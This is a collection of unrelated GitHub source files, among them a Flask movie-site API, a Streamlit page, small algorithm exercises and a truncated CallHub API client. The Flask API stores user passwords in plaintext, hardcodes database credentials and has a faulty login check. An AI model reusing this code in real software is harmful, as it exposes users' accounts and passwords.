{"seq_id":"40524544020","text":"# from google.oauth2 import id_token\n# from google.auth.transport import requests\n\nfrom flask import *\nfrom flask_cors import CORS\nimport pymysql\nfrom sqlalchemy import create_engine\n# import pymysqlpool\n# from pymysqlpool import Pool\nimport pymysql.cursors\n\napiBlueprint=Blueprint(\"api\",__name__)\nCORS(apiBlueprint)\n\nengine = create_engine(\n    'mysql+pymysql://admin:password@/movielover', pool_size=20, max_overflow=0)\n\n# pool = Pool(\n#     host='localhost',\n#     port=3306,\n#     user='root',\n#     passwd='123456',\n#     database='movielover', \n#     charset='utf8' )\n# pool.init()\n# config={'host':'localhost', 'user':'root', 'password':'12345678', 'database':'movielover', 'autocommit':True}\n# pool1 = pymysqlpool.ConnectionPool(size=2, maxsize=3, pre_create_num=2, name='pool1', **config)\n\n\n@apiBlueprint.route(\"/api/movies\")\ndef API():\n\n    page=request.args.get(\"page\",0, type=int)\n    keyword=request.args.get(\"keyword\", None,type=str)\n    if keyword == None:\n        sql='''SELECT * FROM `movies` ORDER BY `index` LIMIT %s,%s'''\n\n        # con1 = pool.get_connection()\n        # with con1 as connection:\n        #     with connection.cursor() as cursor:\n        #         cursor.execute(sql,(page*12,12))\n        #         result=cursor.fetchall()\n        #         cursor.execute(sql,((page+1)*12,12))\n        #         resultNext=cursor.fetchall()\n        #         cursor.close()\n        con1 = engine.connect()\n        rows = con1.execute(sql,(page*12,12))\n        result = rows.fetchall()\n        row2 = con1.execute(sql,((page+1)*12,12))\n        resultNext = row2.fetchall()\n        con1.close()\n        resultNextLen=len(resultNext)\n   \n        data=[]\n        for i in result:\n            data.append({\n                \"index\":i[0],\n                \"movie_name_ZH\":i[1],\n                \"movie_name_EN\":i[2],\n                \"yahoo_id\":i[3],\n                \"ambassador_id\":i[4],\n                \"showtime_id\":i[5],\n                \"poster_url\":i[6],\n                \"release_date\":i[7],\n                'movie_info':i[8]\n            })\n        if resultNextLen==0:\n            nextPage=None\n            AllData={\"nextPage\":nextPage,\n                \"data\":data\n            }\n            return jsonify(AllData)\n        else:\n            AllData={\"nextPage\":page+1,\n                \"data\":data\n            }\n            return jsonify(AllData)\n\n    elif keyword!=None:\n        sql='''SELECT * FROM `movies` WHERE `movie_name_ZH` LIKE %s OR `movie_name_EN` LIKE %s ORDER BY `index`'''\n        con1 = engine.connect()\n        cursor=con1.execute(sql,(\"%\"+keyword+\"%\",\"%\"+keyword+\"%\"))\n        result=cursor.fetchall()\n        con1.close\n\n        sreachData=[]\n        for i in result:\n            sreachData.append({\n                \"index\":i[0],\n                \"movie_name_ZH\":i[1],\n                \"movie_name_EN\":i[2],\n                \"yahoo_id\":i[3],\n                \"ambassador_id\":i[4],\n                \"showtime_id\":i[5],\n                \"poster_url\":i[6],\n                \"release_date\":i[7],\n                'movie_info':i[8]\n            })\n        resultData={\n            \"data\":sreachData\n        }        \n        if result == []: \n            resultData={\n            \"data\":None\n            }\n            return jsonify(resultData)\n        else:\n            return jsonify(resultData)\n\n\n\n    else:\n        return {\"error\": True,\"message\": \"伺服器錯誤，請稍後再試\"}\n\n@apiBlueprint.route(\"/api/movie/<movieId>\")\ndef movieAPI(movieId):\n    sql = '''SELECT * FROM `movies` WHERE `index`=%s'''\n\n    con1=engine.connect()\n    cursor =con1.execute(sql,(movieId))\n    result=cursor.fetchone()\n    con1.close()\n\n    if result == []:\n        return {\"error\": True,\"message\": \"無此編號\"}\n    elif result != []:\n        Data={\n            \"data\": {\n                \"index\":result[0],\n                \"movie_name_ZH\":result[1],\n                \"movie_name_EN\":result[2],\n                \"yahoo_id\":result[3],\n                \"ambassador_id\":result[4],\n                \"showtime_id\":result[5],\n                \"poster_url\":result[6],\n                \"release_date\":result[7],\n                \"movie_info\":result[8]\n            }\n        }      \n        return jsonify(Data)\n    else:\n        return {\"error\": True,\"message\": \"伺服器錯誤，請稍後再試\"}\n\n@apiBlueprint.route(\"/api/movieScreening/<movieId>\")\ndef movieScreening(movieId):\n    time = request.args.get(\"time\",None,type=str)\n    date = request.args.get(\"date\",None, type=str)\n    sql = '''SELECT `yahoo_id` FROM `movies` WHERE `index`=%s'''\n    con1 = engine.connect()\n    cursor = con1.execute(sql,(movieId))\n    result = cursor.fetchone()\n    con1.close()\n    data=[]\n\n    if result == []:\n        return {\"error\": True,\"message\": \"無此編號\"}\n\n    elif result!= None:   \n        if date:\n            sql = '''SELECT * FROM `yahooscreenings` WHERE `yahoo_id`=%s AND `date`=%s ORDER BY `yahoo_index`'''\n        if date and time:\n            sql = '''SELECT * FROM `yahooscreenings` WHERE `yahoo_id`=%s AND `date`=%s ORDER BY `time`'''\n        # else: \n        #     sql = '''SELECT * FROM `yahooscreenings` WHERE `yahoo_id`=%s'''    \n        con1=engine.connect()\n        cursor =con1.execute(sql,(result[0],date))\n        Screenings = cursor.fetchall()\n\n        if Screenings == []:\n            return {\"error\": True,\"message\": \"無上映場次\"}\n\n        for i in Screenings:\n            data.append({\n                \"index\":i[0],\n                \"yahoo_id\":i[1],\n                \"theater\":i[2],\n                \"date\":i[3],\n                \"time\":i[4],\n                \"type\":i[5],\n            })     \n        datas={'data':data} \n        return jsonify(datas)\n  \n            # con1=engine.connect()\n            # cursor =con1.execute(sql,(result))\n            # Screenings = cursor.fetchall()\n\n            # if Screenings == []:\n            #     return {\"error\": True,\"message\": \"查無場次\"}\n\n            # for i in Screenings:\n            #     data.append({\n            #         \"index\":i[0],\n            #         \"yahoo_id\":i[1],\n            #         \"theater\":i[2],\n            #         \"date\":i[3],\n            #         \"time\":i[4],\n            #         \"type\":i[5],\n            #     })     \n            # datas={'data':data} \n            # return jsonify(datas)\n    \n    else:\n        return {\"error\": True,\"message\": \"伺服器錯誤，請稍後再試\"}\n\n@apiBlueprint.route(\"/session\", methods=[\"GET\"])\ndef getSession():\n    if request.method == 'GET':\n        print(session.get(\"name\"))\n        return jsonify({\"name\": session.get(\"name\"),\"email\": session.get(\"email\")})\n\n@apiBlueprint.route(\"/api/member\", methods=[\"POST\"])\ndef signup():\n    data=request.get_json()\n    newname=data[\"name\"]\n    newemail=data[\"email\"]\n    newpassword=data[\"password\"]\n\n    if (newname==\"\")|(newemail==\"\")|(newpassword==\"\"):\n        return jsonify({\"error\": True,\"message\": \"請填寫完整\"})\n\n    sql = '''SELECT `email` FROM `member` WHERE `email`=%s'''\n    con1 = engine.connect()\n    cursor = con1.execute(sql,(newemail))\n    result = cursor.fetchone()\n\n    if(result != None):\n        return jsonify({\"error\": True,\"message\": \"Email已經被註冊\"})\n        \n    elif(result == None):\n        sql='''INSERT INTO `member`(name,email,password) VALUE(%s,%s,%s)'''\n        try:\n            cursor = con1.execute(sql,(newname,newemail,newpassword))\n            # engine.commit()\n        except:\n            # engine.rollback()\n            print('error')\n        con1.close()\n        \n        return jsonify({\"ok\": True})\n    else:\n        return jsonify({\"error\": True,\"message\": \"伺服器錯誤，請稍後再試\"})\n\n@apiBlueprint.route(\"/api/member\", methods=[\"GET\"])\ndef getStatue():\n    print(session[\"name\"])\n    if (session[\"name\"] == None):\n        return jsonify({\"data\":None})\n    else:\n        data={\n            \"data\": {\n                \"id\": session[\"id\"],\n                \"name\": session[\"name\"],\n                \"email\": session[\"email\"]\n                }\n        }\n        return jsonify(data)\n\n@apiBlueprint.route(\"/api/member\", methods=[\"PATCH\"])\ndef login():\n    data=request.get_json()\n    email=data[\"email\"]\n    password=data[\"password\"]\n\n    sql='''SELECT `member_id`,`name`,`email` FROM `member` WHERE `email`=%s AND `password`=%s'''\n    con1 = engine.connect()\n    cursor = con1.execute(sql,(email,password))\n    result = cursor.fetchone()\n\n    if(result != []):\n        session[\"id\"] = result[0]\n        session[\"name\"] = result[1]\n        session[\"email\"] = result[2]\n        session.permanent=True\n        return jsonify({\"ok\": True})\n\n    elif(result == []):\n        return jsonify({\"error\": True,\"message\": \"帳號或密碼錯誤\"})\n    else:\n        return jsonify({\"error\": True,\"message\": \"伺服器錯誤，請稍後再試\"})\n\n@apiBlueprint.route(\"/api/member\", methods=[\"DELETE\"])\ndef signout():\n    session[\"id\"] = None\n    session[\"name\"] = None\n    session[\"email\"] = None\n    print(session[\"name\"])\n    return jsonify({\"ok\": True})\n\n@apiBlueprint.route(\"/api/favorite\", methods=[\"POST\"])\ndef addFavorite():\n    data = request.get_json()\n    movie_name_ZH = data[\"movie_name_ZH\"]\n    movie_name_EN = data[\"movie_name_EN\"]\n    poster_url = data['poster_url']\n   \n    if (movie_name_ZH == \"\")|(movie_name_EN == \"\"):\n        return jsonify({\"error\": True,\"message\": \"收藏失敗\"})\n\n    sql = '''SELECT `fav_index` FROM `favorite` WHERE `movie_name_ZH`= %s AND `member_id`= %s'''\n    con1 = engine.connect()\n    cursor = con1.execute(sql,(movie_name_ZH,session['id']))\n    result = cursor.fetchone()\n    print(result)\n    if(result != None):\n        return jsonify({\"error\": True,\"message\": \"已經在收藏內\"})\n        \n    elif(result == None):\n        sql='''INSERT INTO `favorite`(member_id,movie_name_ZH,movie_name_EN,poster_url) VALUE(%s,%s,%s,%s)'''\n        try:\n            cursor = con1.execute(sql,(session['id'],movie_name_ZH,movie_name_EN,poster_url))\n            # engine.commit()\n        except:\n            # engine.rollback()\n            print('error')\n        con1.close()\n        \n        return jsonify({\"ok\": True})\n    else:\n        return jsonify({\"error\": True,\"message\": \"伺服器錯誤，請稍後再試\"})\n\n@apiBlueprint.route(\"/api/favorite\", methods=[\"GET\"])\ndef GETfavorite():\n    if (session[\"name\"] == None):\n        return jsonify({\"data\":None})\n    else:\n        sql = '''SELECT * FROM `favorite` WHERE `member_id`= %s'''\n        con1 = engine.connect()\n        cursor = con1.execute(sql,(session['id']))\n        result = cursor.fetchall()\n\n        data = []\n        for i in result:\n            sql = '''SELECT * FROM `movies` WHERE `movie_name_ZH`= %s'''\n            cursor = con1.execute(sql,(i[2]))\n            favResult = cursor.fetchone()\n            print(favResult)\n            if favResult != None:\n                data.append({\n                    \"index\":favResult[0],\n                    \"movie_name_ZH\":favResult[1],\n                    \"movie_name_EN\":favResult[2],\n                    \"yahoo_id\":favResult[3],\n                    \"ambassador_id\":favResult[4],\n                    \"showtime_id\":favResult[5],\n                    \"poster_url\":favResult[6],\n                    \"release_date\":favResult[7],\n                    'movie_info':favResult[8],\n                    'fav_index':i[0]\n                })\n            else:\n                data.append({\n                    'fav_index':i[0],\n                    'movie_name_ZH':i[2],\n                    'movie_name_EN':i[3],\n                    'poster_url':i[4]\n                })\n            \n        datas={'data':data} \n        # print(datas)\n        return jsonify(datas)\n\n@apiBlueprint.route(\"/api/favorite\", methods=[\"DELETE\"])\ndef DELfavorite():\n    data = request.get_json()\n    fav_index = data[\"fav_index\"]\n\n    sql = '''SELECT * FROM `favorite` WHERE `fav_index`= %s'''\n    con1 = engine.connect()\n    cursor = con1.execute(sql,(fav_index))\n    result = cursor.fetchone()\n\n    if result != None:\n        sql = '''DELETE FROM `favorite` WHERE `fav_index`=%s'''\n        con1.execute(sql,(fav_index))\n        return jsonify({\"ok\": True})\n    else:\n        return jsonify({\"error\": True,\"message\": \"無此收藏\"})\n   ","repo_name":"jefflien8/MovieLover","sub_path":"API.py","file_name":"API.py","file_ext":"py","file_size_in_byte":12186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32589057553","text":"import streamlit as st\nfrom PIL import Image\n\nst.set_page_config(\n    page_title=\"Rajesh Chouhan\",\n    page_icon=\"🧊\",\n    layout=\"wide\",\n    initial_sidebar_state=\"expanded\",\n)\n# set sidebar values\nst.sidebar.header(\"Home Page\")\nst.title(\"Rajesh Chouhan\")\nimage = Image.open('myphoto.webp')\nst.image(image, caption=\"Rajesh Chouhan\", width=225)\nst.markdown(\"To know more click on about page\")\n","repo_name":"rajesh9050/myweb","sub_path":"Home.py","file_name":"Home.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"7271310093","text":"#!/usr/bin/env python\n\nfrom subprocess import Popen, PIPE\nimport game\n\ndef will(expected, actual, assumption):\n    if expected != actual:\n        raise UserWarning(\"%s failed: expected '%s', got '%s'\" % (assumption, expected, actual))\n    print('%s ok' % assumption)\n\nstart_output = \"You are at start.\\nYou can go halfway.\"\nhalfway_output = \"You go halfway.\\nYou are at halfway.\\nYou can go back, or go to end.\"\nend_output = \"You go to end.\\nGame over.\"\n\ng = game.Game()\n\n# basic walkthrough with an erroneous input\nwill(start_output, g.start(), 'start output')\nwill('You cannot go to end', g.do('go to end'), 'unexpected action handling')\nwill(halfway_output, g.do('go halfway'), 'another place')\nwill(\"You go back.\\n\" + start_output, g.do('go back'), 'return to start for good measure')\nwill(halfway_output, g.do('go halfway'), 'go to another place again')\nwill(end_output, g.do('go to end'), 'expected action')\n\ndef command_will(expected, input, assumption):\n    game_process = Popen(['./game.py'], stdin=PIPE, stdout=PIPE)\n    will(\n        expected,\n        game_process.communicate(input)[0],\n        assumption\n    )\n\ncommand_will(start_output + \"\\n\", '', 'start from command line')\n\n# newline will not exit but reprint situation.\ncommand_will(\"%s\\n%s\\n\" % (start_output, start_output), \"\\n\", 'start from command line')\n\n# full play through will exit game at end.\ncommand_will(\n    \"\\n\".join([ start_output, halfway_output, end_output, '' ]),\n    \"go halfway\\ngo to end\\n\\n\",\n    'play from command line'\n)\n","repo_name":"korpiq/python-text-game-example","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39285761450","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport oc_analyse\nimport image_analyse\n\nimport sys\nimport file\nimport time\n\nreload(sys)\n\nif sys.getdefaultencoding() != 'utf-8':\n    reload(sys)\n    sys.setdefaultencoding('utf-8')\n\n\ndef get_un_use_files(a_project_path):\n    un_use_files = []\n\n    print(\"开始查找未使用代码资源：\")\n    un_use_code_files = oc_analyse.get_un_use_code_files(a_project_path, _zh_uncheck_enable)\n    print(\"查找未使用代码资源结束！\")\n    if len(un_use_code_files) > 0:\n        print(\"未使用代码资源：\")\n    for c_file in un_use_code_files:\n        print(c_file.name)\n        un_use_files.append(c_file)\n\n    if _image_unuse_search:\n        print(\"开始查找未使用图片资源：\")\n        un_use_image_files = image_analyse.get_un_use_images(a_project_path, _zh_uncheck_enable)\n        print(\"查找未使用图片资源结束！\")\n        if len(un_use_image_files) > 0:\n            print(\"未使用图片资源：\")\n        for c_file in un_use_image_files:\n            print(c_file.name)\n\n        un_use_files.extend(un_use_image_files)\n\n    if len(un_use_files) > 0:\n        file.files_save(un_use_files, project_path, \"UnUseFiles\")\n\n\n\n_zh_uncheck_enable = True\n_image_unuse_search = True\n_check_as_line = False\n\nproject_path = raw_input(\"Project Path:\").strip()\nimage_unuse_search = raw_input(\"Image Search Enable?(Y/N)\").strip()\nzh_uncheck_enable = raw_input(\"ZH Check Enable?(Y/N)\").strip()\ncheck_as_line = raw_input(\"Check as Line?(Y/N)\").strip()\n\n_zh_uncheck_enable = zh_uncheck_enable == 'Y' or zh_uncheck_enable == 'y'\n_image_unuse_search = image_unuse_search == 'Y' or image_unuse_search == 'y'\n_check_as_line = check_as_line == 'Y' or check_as_line == 'y'\n\ntime_start = time.time()\nget_un_use_files(project_path)\ntime_end = time.time()\nprint('Totally cost:%f' % (time_end - time_start))\n","repo_name":"KKLater/OCUnusedAnalyse","sub_path":"analyse.py","file_name":"analyse.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22064566973","text":"#User function Template for python3\n\nclass Solution:\n    def longest(self, names, n):\n    \t# code here\n    \tlength = []\n    \tfor i in names:\n    \t    length.append(len(i))\n    \treturn names[length.index(max(length))]\n    \t\n\n#{ \n#  Driver Code Starts\n#Initial Template for Python 3\n\ndef main():\n\n    T = int(input())\n\n    while(T > 0):\n    \tn=int(input())\n    \tnames = []\n    \tfor i in range(n):\n    \t\tnames.append(input())\n    \tob = Solution()\n    \tprint(ob.longest(names, n))\n    \t\n    \tT -= 1\n\n\nif __name__ == \"__main__\":\n    main()\n\n# } Driver Code Ends","repo_name":"LordZerror/LeetCode-Grind","sub_path":"Display longest name - GFG/display-longest-name.py","file_name":"display-longest-name.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72308769381","text":"nums = [2, 9, 8, 7, 3, 5, 0]\r\n\r\ndef insertionSort(nums):\r\n   for i in range(len(nums)):\r\n       cur_ele = nums[i]\r\n       pos = i\r\n\r\n       while pos > 0 and cur_ele < nums[pos-1]:\r\n           nums[pos] = nums[pos-1]\r\n           pos-=1\r\n       nums[pos] = cur_ele\r\n\r\n   return nums\r\nprint(insertionSort(nums))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Faleye-jide/Data-Structure-and-Algorithms-","sub_path":"insertion_sort.py","file_name":"insertion_sort.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40531573073","text":"def whichExit(matrix=None):\n    if matrix == None:\n        raise TypeError(\"You forgot to supply a 2d matrix\")\n    zidx = None #Prepping the zero index variable\n    for m in matrix: #Getting the list from the matrix\n        if 0 in m: #If there is a 0 in the list then grab it's position\n            zidx = m.index(0)\n    if zidx == None: #If there isn't one, then raise an error\n        raise ValueError(\"There are no 0's (zero's) found in this matrix\")\n    elif zidx == 0 or sum(m[:zidx]) < sum(m[1+zidx:]): #If the 0 is in the first position, or the sum of the numbers to the Left are less than the ones on the right, then say \"Left\"\n        return \"Left\"\n    elif zidx == len(m)-1 or sum(m[:zidx]) > sum(m[1+zidx:]): #Same as above, only if the zero is in the last position, or the sum of the numbers to the right is less, then say \"right\"\n        return \"Right\"\n    else: #Otherwise say \"Same\"\n        return \"Same\"","repo_name":"banana-galaxy/challenges","sub_path":"challenge8(theater_escape)/LarryTFVW.py","file_name":"LarryTFVW.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"73642871460","text":"import requests\nfrom .auth import CallHubAuth\nfrom ratelimit import limits, sleep_and_retry\nfrom .bulk_upload_tools import csv_and_mapping_create\nfrom requests.structures import CaseInsensitiveDict\nimport types\nimport math\nfrom requests_futures.sessions import FuturesSession\nfrom collections import defaultdict\nfrom concurrent.futures import ProcessPoolExecutor\nimport traceback\nimport time\n\nclass CallHub:\n    API_LIMIT = {\n        \"GENERAL\": {\"calls\": 13, \"period\": 1},\n        \"BULK_CREATE\": {\"calls\": 1, \"period\": 70},\n    }\n\n    def __init__(self, api_domain, api_key=None, rate_limit=API_LIMIT):\n        \"\"\"\n        Instantiates a new CallHub instance\n        >>> callhub = CallHub(\"https://api-na1.callhub.io\")\n        With built-in rate limiting disabled:\n        >>> callhub = CallHub(rate_limit=False)\n        Args:\n            api_domain (``str``): Domain to access API (eg: api.callhub.io, api-na1.callhub.io), this varies by account\n        Keyword Args:\n            api_key (``str``, optional): Optional API key. If not provided,\n                it will attempt to use ``os.environ['CALLHUB_API_KEY']``\n            rate_limit (``dict``, optional): Enabled by default with settings that respect callhub's API limits.\n                Setting this to false disables ratelimiting, or you can set your own limits by following the example\n                below. Please don't abuse! :)\n                >>> callhub = CallHub(rate_limit={\"GENERAL\": {\"calls\": 13, \"period\": 1},\n                >>>                               \"BULK_CREATE\": {\"calls\": 1, \"period\": 70}})\n                - Default limits bulk_create to 1 per 70 seconds (CallHub states their limit is every 60s but in\n                  practice a delay of 60s exactly can trip their rate limiter anyways)\n                - Default limits all other API requests to 13 per second (CallHub support states their limit is 20/s but\n                  this plays it on the safe side, because other rate limiters seem a little sensitive)\n        \"\"\"\n        self.session = FuturesSession(max_workers=43)\n\n        # Attempt 3 retries for failed connections\n        adapter = requests.adapters.HTTPAdapter(max_retries=3)\n        self.session.mount('https://', adapter)\n        self.session.mount('http://', adapter)\n\n        # Truncate final '/' off of API domain if it was provided\n        if api_domain[-1] == \"/\":\n            self.api_domain = api_domain[:-1]\n        else:\n            self.api_domain = api_domain\n\n        if rate_limit:\n            # Apply general rate limit to self.session.get\n            rate_limited_get = sleep_and_retry(limits(**rate_limit[\"GENERAL\"])(FuturesSession.get))\n            self.session.get = types.MethodType(rate_limited_get, self.session)\n            \n            # Apply general rate limit to self.session.post\n            rate_limited_post = sleep_and_retry(limits(**rate_limit[\"GENERAL\"])(FuturesSession.post))\n            self.session.post = types.MethodType(rate_limited_post, self.session)\n            \n            # Apply bulk rate limit to self.bulk_create\n            self.bulk_create = sleep_and_retry(limits(**rate_limit[\"BULK_CREATE\"])(self.bulk_create))\n\n        self.session.auth = CallHubAuth(api_key=api_key)\n\n        # validate_api_key returns administrator email on success\n        self.admin_email = self.validate_api_key()\n\n        # cache for do-not-contact number/list to id mapping\n        self.dnc_cache = {}\n\n    def __repr__(self):\n        return \"<CallHub admin: {}>\".format(self.admin_email)\n\n    def _collect_fields(self, contacts):\n        \"\"\" Internal Function to get all fields used in a list of contacts \"\"\"\n        fields = set()\n        for contact in contacts:\n            for key in contact:\n                fields.add(key)\n        return fields\n\n    def _assert_fields_exist(self, contacts):\n        \"\"\"\n        Internal function to check if fields in a list of contacts exist in CallHub account\n        If fields do not exist, raises LookupError.\n        \"\"\"\n        # Note: CallHub fields are implemented funkily. They can contain capitalization but \"CUSTOM_FIELD\"\n        # and \"custom_field\" cannot exist together in the same account. For that reason, for the purposes of API work,\n        # fields are treated as case insensitive despite capitalization being allowed. Attempting to upload a contact\n        # with \"CUSTOM_FIELD\" will match to \"custom_field\" in a CallHub account.\n        fields_in_contacts = self._collect_fields(contacts)\n        fields_in_callhub = self.fields()\n\n        # Ensure case insensitivity and convert to set\n        fields_in_contact = set([field.lower() for field in fields_in_contacts])\n        fields_in_callhub = set([field.lower() for field in fields_in_callhub.keys()])\n\n        if fields_in_contact.issubset(fields_in_callhub):\n            return True\n        else:\n            raise LookupError(\"Attempted to upload contact (s) that contain fields that haven't been \"\n                              \"created in CallHub. Fields present in upload: {} Fields present in \"\n                              \"account: {}\".format(fields_in_contact, fields_in_callhub))\n\n    def validate_api_key(self):\n        \"\"\"\n        Returns admin email address if API key is valid. In rare cases, may be unable to find admin email address, and\n        returns a warning in that case. If API key invalid, raises ValueError. If the CallHub API returns unexpected\n        information, raises RunTimeError.\n        Returns:\n            username (``str``): Email of administrator account\n        \"\"\"\n        response = self.session.get(\"{}/v1/agents/\".format(self.api_domain)).result()\n        if response.json().get(\"detail\") in ['User inactive or deleted.', 'Invalid token.']:\n            raise ValueError(\"Bad API Key\")\n        elif \"count\" in response.json():\n            if response.json()[\"count\"]:\n                return response.json()[\"results\"][0][\"owner\"][0][\"username\"]\n            else:\n                return \"Cannot deduce admin account. No agent accounts (not even the default account) exist.\"\n        else:\n            raise RuntimeError(\"CallHub API is not returning expected values, but your api_key is fine. Their API \"\n                               \"specifies that https://callhub-api-domain/v1/agents returns a 'count' field, but this was \"\n                               \"not returned. Please file an issue on GitHub for this project, if an issue for this not \"\n                               \"already exist.\")\n\n    def agent_leaderboard(self, start, end):\n        params = {\"start_date\": start, \"end_date\": end}\n        response = self.session.get(\"{}/v1/analytics/agent-leaderboard/\".format(self.api_domain), params=params).result()\n        return response.json().get(\"plot_data\")\n\n    def fields(self):\n        \"\"\"\n        Returns a list of fields configured in the CallHub account and their ids\n        Returns:\n            fields (``dict``): dictionary of fields and ids\n            >>> {\"first name\": 0, \"last name\": 1}\n        \"\"\"\n        response = self.session.get('{}/v1/contacts/fields/'.format(self.api_domain)).result()\n        return {field['name']: field[\"id\"] for field in response.json()[\"results\"]}\n\n    def bulk_create(self, phonebook_id, contacts, country_iso):\n        \"\"\"\n        Leverages CallHub's bulk-upload feature to create many contacts. Supports custom fields.\n        >>> contacts = [{'first name': 'Sumiya', 'phone number':'5555555555', 'mobile number': '5555555555'},\n        >>>             {'first name': 'Joe', 'phone number':'5555555555', 'mobile number':'5555555555'}]\n        >>> callhub.bulk_create(885473, contacts, 'CA')\n        Args:\n            phonebook_id(``int``): ID of phonebank to insert contacts into.\n            contacts(``list``): Contacts to insert (phone number is a MANDATORY field in all contacts)\n            country_iso(``str``): ISO 3166 two-char country code,\n                see https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2\n        \"\"\"\n        # Step 1. Get all fields from CallHub account\n        # Step 2. Check if all fields provided for contacts exist in CallHub account\n        # Step 3. Turn list of dictionaries into a CSV file and create a column mapping for the file\n        # Step 4. Upload the CSV and column mapping to CallHub\n\n        contacts = [CaseInsensitiveDict(contact) for contact in contacts]\n\n        if self._assert_fields_exist(contacts):\n            # Create CSV file in memory in a way that pleases CallHub and generate column mapping\n            csv_file, mapping = csv_and_mapping_create(contacts, self.fields())\n\n            # Upload CSV\n            data = {\n                'phonebook_id': phonebook_id,\n                'country_choice': 'custom',\n                'country_ISO': country_iso,\n                'mapping': mapping\n            }\n\n            response = self.session.post('{}/v1/contacts/bulk_create/'.format(self.api_domain), data=data,\n                                         files={'contacts_csv': csv_file}).result()\n            if \"Import in progress\" in response.json().get(\"message\", \"\"):\n                return True\n            elif 'Request was throttled' in response.json().get(\"detail\", \"\"):\n                raise RuntimeError(\"Bulk_create request was throttled because rate limit was exceeded.\",\n                                   response.json())\n            else:\n                raise RuntimeError(\"CallHub did not report that import was successful: \", response.json())\n\n    def create_contact(self, contact):\n        \"\"\"\n        Creates single contact. Supports custom fields.\n        >>> contact = {'first name': 'Sumiya', 'phone number':'5555555555', 'mobile number': '5555555555'}\n        >>> callhub.create_contact(contact)\n        Args:\n            contacts(``dict``): Contacts to insert\n            Note that country_code and phone_number are MANDATORY\n        Returns:\n            (``str``): ID of created contact or None if contact not created\n        \"\"\"\n        if self._assert_fields_exist([contact]):\n            url = \"{}/v1/contacts/\".format(self.api_domain)\n            responses, errors = self._handle_requests([{\n                \"func\": self.session.post,\n                \"func_params\": {\"url\": url, \"data\": {\"name\": contact}},\n                \"expected_status\": 201\n            }])\n            if errors:\n                raise RuntimeError(errors)\n            return responses[0].json().get(\"id\")\n\n    def get_contacts(self, limit):\n        \"\"\"\n        Gets all contacts.\n        Args:\n            limit (``int``): Limit of number of contacts to get. If limit not provided, will\n                return first 100 contacts.\n        Returns:\n            contact_list (``list``): List of contacts, where each contact is a dict of key value pairs.\n        \"\"\"\n        contacts_url = \"{}/v1/contacts/\".format(self.api_domain)\n        return self._get_paged_data(contacts_url, limit)\n\n    def _get_paged_data(self, url, limit=float(math.inf)):\n        \"\"\"\n        Internal function. Leverages _bulk_requests to aggregate paged data and return it quickly.\n        Args:\n            url (``str``): API endpoint to get paged data from.\n        Keyword Args:\n            limit (``float or int``): Limit of paged data to get. Default is infinity.\n        Returns:\n            paged_data (``list``) All of the paged data as a signle list of dicts, where each dict contains key value\n                pairs that represent each individual item in a page.\n        \"\"\"\n        first_page = self.session.get(url).result()\n        if first_page.status_code != 200:\n            raise RuntimeError(\"Status code {} when making request to: \"\n                                \"{}, expected 200. Details: {})\".format(first_page.status_code,\n                                                                        url,\n                                                                        first_page.text))\n        first_page = first_page.json()\n\n        # Handle either limit of 0 or no results\n        if first_page[\"count\"] == 0 or limit == 0:\n            return []\n\n        # Set limit to the smallest of either the count or the limit\n        limit = min(first_page[\"count\"], limit)\n\n        # Calculate number of pages\n        page_size = len(first_page[\"results\"])\n        num_pages = math.ceil(limit/page_size)\n\n        requests = []\n        for i in range(1, num_pages+1):\n            requests.append({\"func\": self.session.get,\n                             \"func_params\": {\"url\": url, \"params\": {\"page\": i}},\n                             \"expected_status\": 200})\n        responses_list, errors = self._handle_requests(requests)\n        if errors:\n            raise RuntimeError(errors)\n\n        # Turn list of responses into aggregated data from all pages\n        paged_data = []\n        for response in responses_list:\n            paged_data += response.json()[\"results\"]\n        paged_data = paged_data[:limit]\n        return paged_data\n\n    def _handle_requests(self, requests_list, aggregate_json_value=None, retry=False, current_retry_count=0):\n        \"\"\"\n        Internal function. Executes a list of requests in batches, asynchronously. Allows fast execution of many reqs.\n        >>> requests_list = [{\"func\": session.get,\n        >>>                   \"func_params\": {\"url\":\"https://callhub-api-domain/v1/contacts/\", \"params\":{\"page\":\"1\"}}}\n        >>>                   \"expected_status\": 200]\n        >>> _bulk_request(requests_list)\n        Args:\n            requests_list (``list``): List of dicts that each include a request function, its parameters, and an\n                optional expected status. These will be executed in batches.\n        \"\"\"\n        # Send bulk requests in batches of at most 500\n        batch_size = 500\n        requests_awaiting_response = []\n        responses = []\n        errors = []\n        for i, request in enumerate(requests_list):\n            # Execute request asynchronously\n            requests_awaiting_response.append(request[\"func\"](**request[\"func_params\"]))\n            # Every time we execute batch_size requests OR we have made our last request, wait for all requests\n            # to have received responses before continuing. This batching prevents us from having tens or hundreds of\n            # thousands of pending requests with CallHub\n            if i % batch_size == 0 or i == (len(requests_list)-1):\n                for req_awaiting_response in requests_awaiting_response:\n                    response = req_awaiting_response.result()\n                    try:\n                        if requests_list[i][\"expected_status\"] and response.status_code != int(requests_list[i][\"expected_status\"]):\n                            raise RuntimeError(\"Status code {} when making request to: \"\n                                               \"{}, expected {}. Details: {})\".format(response.status_code,\n                                                                         requests_list[i][\"func_params\"][\"url\"],\n                                                                         requests_list[i][\"expected_status\"],\n                                                                         response.text))\n                        responses.append(response)\n\n                    except RuntimeError as api_except:\n                        errors.append((requests_list[i], api_except))\n\n                requests_awaiting_response = []\n\n        if errors and retry and current_retry_count < 1:\n            failed_requests = [error[0] for error in errors]\n        